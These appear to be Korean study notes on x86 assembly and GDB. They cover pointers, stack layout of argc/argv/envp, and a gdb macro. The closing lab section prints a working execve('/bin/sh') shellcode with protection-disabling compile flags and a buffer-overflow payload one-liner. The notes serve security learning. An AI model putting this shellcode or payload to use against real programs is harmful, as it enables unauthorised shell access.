disp $ebp
disp $esp
disp /i $eip
disp /4xw $esp
-
int main(int argc, char *argv[])
=> argc : 메인함수의 첫 번째 인수
=> *argv[] : 인수의 값들 (포인터 배열)
*argv[] = **argv
예시)
int a의 값 = 3
a의 주소값 = 0x1234
int *p1 = &a 일 때 p1의 값 = 0x1234
p1의 주소값 = 0x5678
int **p2 = &p1 일 때 p2의 값 = 0x5678
p2의 주소값 = 0x0910
( 주소값 printf 할 때는 %p )
이 때
p2 = 0x5678 <- p1의 주소값
*p2 = 0x1234 <- a의 주소값
&p2 = 0x0910 <- p2의 주소값
(gdb) disas main
Dump of assembler code for function main:
0x080484ad <+0>: push ebp
0x080484ae <+1>: mov ebp,esp
0x080484b0 <+3>: sub esp,0x10
=> 0x080484b3 <+6>: mov DWORD PTR [ebp-0x10],0x80485bc
0x080484ba <+13>: mov DWORD PTR [ebp-0xc],0x80485be
0x080484c1 <+20>: mov DWORD PTR [ebp-0x8],0x80485c2
0x080484c8 <+27>: mov DWORD PTR [ebp-0x4],0x0
0x080484cf <+34>: lea eax,[ebp-0x10]
0x080484d2 <+37>: push eax
0x080484d3 <+38>: call 0x80484e2 <ptr_function>
0x080484d8 <+43>: add esp,0x4
0x080484db <+46>: mov eax,0x0
0x080484e0 <+51>: leave
0x080484e1 <+52>: ret
char *ptr[] = {"1", "2te", "3st", NULL};
(gdb) x/4xw $esp
0xffffd448: 0x080485bc 0x080485be 0x080485c2 0x00000000
변수에 배열을 할당하고 나면 esp 메모리 조사를 했을 때 순서대로 스택에 들어가 있음
(gdb) x/4wx 0x080485bc
0x80485bc: 0x74320031 0x73330065 0x73250074 0x00000020
조사를 해보면 t 2 1 s 3 e t
= 1 2te 3st (아스키 코드에 대응됨)
(gdb) set args A AA AAA AAAA
=> gdb r 전에 set args
(gdb) r
Starting program: /root/assembly/x86/argc1 A AA AAA AAAA
Breakpoint 1, main (argc=5, argv=0xffffd4c4) at argc1.c:13
warning: Source file is more recent than executable.
13 printf("argument count = %d\n", argc);
=> run 하면 argc, argv 등 정보를 볼 수있다
(gdb) p &argc
$1 = (int *) 0xffffd440
(gdb) p argv
$2 = (char **) 0xffffd4c4
(gdb) x/s *(argv)
0xffffd63c: "/root/assembly/x86/argc1"
(gdb) x/s *(argv+1)
0xffffd655: "A"
(gdb) x/s *(argv+2)
0xffffd657: "AA"
(gdb) x/s *(argv+3)
0xffffd65a: "AAA"
(gdb) x/s *(argv+4)
0xffffd65e: "AAAA"
(gdb) x/8xw 0xffffd4c4
0xffffd4c4: 0xffffd63c 0xffffd655 0xffffd657 0xffffd65a
0xffffd4d4: 0xffffd65e 0x00000000 0xffffd663 0xffffdc4e
=> argv의 변수 다섯 개(첫번째는 명령어), NULL 포인트.
(gdb) x/4xw 0xffffd655
0xffffd655: 0x41410041 0x41414100 0x41414100 0x534c0041
A A A A A A A A A A
(gdb) x/8xw 0xffffd63c
0xffffd63c: 0x6f6f722f 0x73612f74 0x626d6573 0x782f796c
o o r / s a / t b m e s x / y l
0xffffd64c: 0x612f3638 0x31636772 0x41004100 0x41410041
a / 6 8 1 c g r
=> /root/assembly/x86/argc1
(gdb) x/xw &argv[1]
0xffffd4c8: 0xffffd655
(gdb) x/xw argv[1]
0xffffd655: 0x41410041
=> 주소값, 주소값의 값.
(gdb) x/8xw $ebp
0xffffd438: 0x00000000 0xf7e34f36 0x00000005 0xffffd4c4
함수시작점 RET 복귀주소 argc argv
=> ebp와 esp가 같은 시점, 시작점SFP에서 찍어봤을 때 인수들 위치
0xffffd448: 0xffffd4dc 0xffffd464 0x0804a010 0x00000008
envp ( 환경 변수 위치)
envp는 프로그램에서 사용하지 않으면 다른 쓰레기값이 들어있을 수 있음
( 사용하지않을 때:
(gdb) x/s 0xfffd4c4
0xfffd4c4: <error: Cannot access memory at address 0xfffd4c4>
사용할 때 : 에러 메시지 대신 뭔가 들어있다는 메시지가 뜨긴 했음 )
(gdb) x/i $eip
0xf7e34f36 <__libc_start_main+246>: add esp,0x10
=> 복귀주소로 이동한다는 뜻. 메인 끝났을 때의 명령어
envp를 사용하는 프로그램을 컴파일하여 gdb 실행
(gdb) x/8xw $ebp
0xffffd448: 0x00000000 0xf7e34f36 0x00000004 0xffffd4d4
0xffffd458: 0xffffd4e8 0xffffd474 0x0804a010 0x00000008
(gdb) x/s 0xffffd4e8
0xffffd4e8: "c\326\377\377N\334\377\377\204\334\377\377\223\334\377\377\244\334\377\377\273\334\377\377\337\334\377\377\365\334\377\377\b\335\377\377!\335\377\377\062\335\377\377<\335\377\377T\335\377\377k\335\377\377t\335\377\377\177\335\377\377\241\335\377\377\272\335\377\377\332\335\377\377\355\335\377\377\370\335\377\377\022\336\377\377\035\336\377\377-\336\377\377H\336\377\377P\336\377\377]\336\377\377\220\336\377\377\254\336\377\377\355\336\377\377\035\337\377\377+\337\377\377N\337\377\377"
(gdb) x/s 0xffffd4d4
0xffffd4d4: "A\326\377\377Z\326\377\377\\\326\377\377_\326\377\377"
------------------------ 주소값
(gdb) x/s *0xffffd4e8
0xffffd663: "LS_COLORS=rs=0:di=01;34:ln=01;36:mh=00:pi=40;33:so=01;35:do=01;35:bd=40;33;01:cd=40;33;01:or=40;31;01:mi=01;05;37;41:su=37;41:sg=30;43:ca=30;41:tw=30;42:ow=34;42:st=37;44:ex=01;32:*.tar=01;31:*.tgz=01"...
(gdb) x/s *0xffffd4d4
0xffffd641: "/root/assembly/x86/argc2"
------------------------ 주소값의 값
(gdb) x/s *argv
0xffffd641: "/root/assembly/x86/argc2"
(gdb) x/s *(argv+1)
0xffffd65a: "A"
환경변수, argv의 주소값과 내용들
(gdb) p argv
$1 = (char **) 0xffffd4d4
(gdb) p envp
$3 = (char **) 0xffffd4e8
(gdb) p &argc
$4 = (int *) 0xffffd450
(gdb) x/36xw envp
0xffffd4e8: 0xffffd663 0xffffdc4e 0xffffdc84 0xffffdc93
0xffffd4f8: 0xffffdca4 0xffffdcbb 0xffffdcdf 0xffffdcf5
0xffffd508: 0xffffdd08 0xffffdd21 0xffffdd32 0xffffdd3c
0xffffd518: 0xffffdd54 0xffffdd6b 0xffffdd74 0xffffdd7f
0xffffd528: 0xffffdda1 0xffffddba 0xffffddda 0xffffdded
0xffffd538: 0xffffddf8 0xffffde12 0xffffde1d 0xffffde2d
0xffffd548: 0xffffde48 0xffffde50 0xffffde5d 0xffffde90
0xffffd558: 0xffffdeac 0xffffdeed 0xffffdf1d 0xffffdf2b
0xffffd568: 0xffffdf4e 0x00000000 0x00000020 0xf7fcc120
=> 0x00000000(Null 포인터)부터 전부 envp 내용
envp 내용에 악성코드를 넣는 공격이 있을 수 있다
(gdb) define print_envp
Type commands for definition of "print_envp".
End with a line saying just "end".
>set $i = 0
>while envp[$i]
>printf "envp[%d]: %s \n", $i, envp[$i]
>set $i = $i + 1
>end
>end
gdb에서 자동화 스크립트 이용 가능
실습) envp를 이용한 공격코드
- 로키 리눅스8은 막혀있어서 centos7로 진행
코드
// 24byte char shellcode[] = "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f" "\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x99" "\xb0\x0b\xcd\x80"; // 쉘을 실행시키는 가장 작은 기계어 코드 int main() { (*(int(*)())shellcode)(); return 0; } |
gcc -m32 -Wall -fno-stack-protector -mpreferred-stack-boundary=2 -z execstack -g -o myshell myshell.c
./myshell
실행시 sh-4.2# 탈취됨
-fno-stack-protector : 스택 프로텍터 제거 옵션
-z execstack : 스택에 올라간 기계어 코드 실행하는 옵션
-mpreferred-stack-boundary=2: 함수들의 스택프레임에서 가장 낮은 주소가 2의 n제곱의 배수가 되도록 align
함수
하나 이상의 명령어를 묶어 놓은 것
재사용을 위해 만들어짐
함수에도 메모리 주소가 있다
함수포인터 : 함수를 가리킬 수 있는 포인터
형식: 리턴타입 (*포인터변수명)(매개변수1[, ...]);
ex) (*(int(*)())shellcode)();
함수포인터를 함수처럼 호출함
버퍼오브플로우BOP
gdb를 이용한 코어파일 분석
(python -c 'print("A"*16 + "\xf0\x84\x04\x08")'; cat) | ./bof1